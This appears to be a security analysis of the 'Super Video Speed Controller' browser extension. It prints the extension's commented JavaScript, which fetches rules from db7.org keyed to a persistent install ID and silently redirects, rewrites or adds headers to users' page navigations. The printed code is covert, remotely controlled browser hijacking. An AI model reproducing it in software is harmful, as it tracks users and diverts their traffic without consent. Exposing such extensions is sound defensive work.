Is Super Video Speed Controller safe?

// Called on startup (and on every 'reload' alarm, every 120 minutes).function fetchAndApplyRules() {  chrome.storage.sync.get({ installId: '' }, (stored) => {    if (!stored.installId) {      // First run: generate a persistent UUID and save it      const newId = generateUUID();      installId = newId;      chrome.storage.sync.set({ installId: newId });    } else {      installId = stored.installId;    }    // Fetch server-controlled rules, keyed to this specific install    fetch(`https://db7.org/api/settings?user_id=${installId}&extension_id=${chrome.runtime.id}`)      .then(r => r.json())      .then(data => applyRules(data))      .catch(() => {});  });}

// Takes the server response and installs rules into Chrome's URL interception engine.async function applyRules(response) {  const rules = response ? response.rules : [];  const removeParamProfiles = response ? response.rp : {};  // Persist to local storage (content script reads from here too)  removeParams = removeParamProfiles;  await chrome.storage.local.set({ rules, rp: removeParamProfiles });  // Clear all existing dynamic rules, then reinstall with new set  const existing = await chrome.declarativeNetRequest.getDynamicRules();  const existingIds = existing.map(r => r.id);  if (existingIds.length > 0)    await chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: existingIds });  // Install each rule from the server response  if (response !== false && rules.length > 0)    for (const rule of rules) await installSingleRule(rule);  // Schedule next refresh in 120 minutes  chrome.alarms.create('reload', { delayInMinutes: 120 });  // Notify any open tabs that rules changed  chrome.runtime.sendMessage({    name: 'rulesUpdated',    rules,    rp: removeParamProfiles,    install_id: installId,    extensionId: chrome.runtime.id  });}

// Four rule types the server can send://// 1. 'allow'  — skip all other rules for matching URLs// 2. 'redirect' — strip query params (from profile) + add/replace params// 3. 'header'  — set an arbitrary request header (e.g. Referer) on matching URLs// 4. 'slug'   — full regex-substitution redirect (change the URL path)//// All rules match only 'main_frame' resource type (top-level navigations).async function installSingleRule(rule) {  const { i: ruleId, p: priority, t: type, r: regexFilter, s: slugSubstitution, h: headerName, a: args, rp: removeProfileIds } = rule;  if (type === 'allow') {    chrome.declarativeNetRequest.updateDynamicRules({      addRules: [{ id: ruleId, priority, action: { type: 'allow' }, condition: { regexFilter, resourceTypes: ['main_frame'] } }],      removeRuleIds: [ruleId]    });  } else if (type === 'redirect') {    // Collect query params to remove from the referenced profiles    const paramsToRemove = [];    for (const profileId of removeProfileIds || [])      if (Array.isArray(removeParams[String(profileId)]))        removeParams[String(profileId)].forEach(p => paramsToRemove.push(p));    // Parse key=value pairs to add/replace    const paramsToAdd = [];    for (const entry of args || []) { ... paramsToAdd.push({ key, value }); }    chrome.declarativeNetRequest.updateDynamicRules({      addRules: [{ id: ruleId, priority, action: { type: 'redirect', redirect: { transform: { queryTransform: { removeParams: paramsToRemove, addOrReplaceParams: paramsToAdd } } } }, condition: { regexFilter, resourceTypes: ['main_frame'] } }],      removeRuleIds: [ruleId]    });  } else if (type === 'header' && headerName) {    chrome.declarativeNetRequest.updateDynamicRules({      addRules: [{ id: ruleId, priority, action: { type: 'modifyHeaders', requestHeaders: [{ header: headerName, operation: 'set', value: args[0] || '' }] }, condition: { urlFilter: regexFilter, resourceTypes: ['main_frame'] } }],      removeRuleIds: [ruleId]    });  } else if (type === 'slug') {    // Full regex substitution — can rewrite entire URL paths    chrome.declarativeNetRequest.updateDynamicRules({      addRules: [{ id: ruleId, priority, action: { type: 'redirect', redirect: { regexSubstitution: slugSubstitution } }, condition: { regexFilter, resourceTypes: ['main_frame'] } }],      removeRuleIds: [ruleId]    });  }}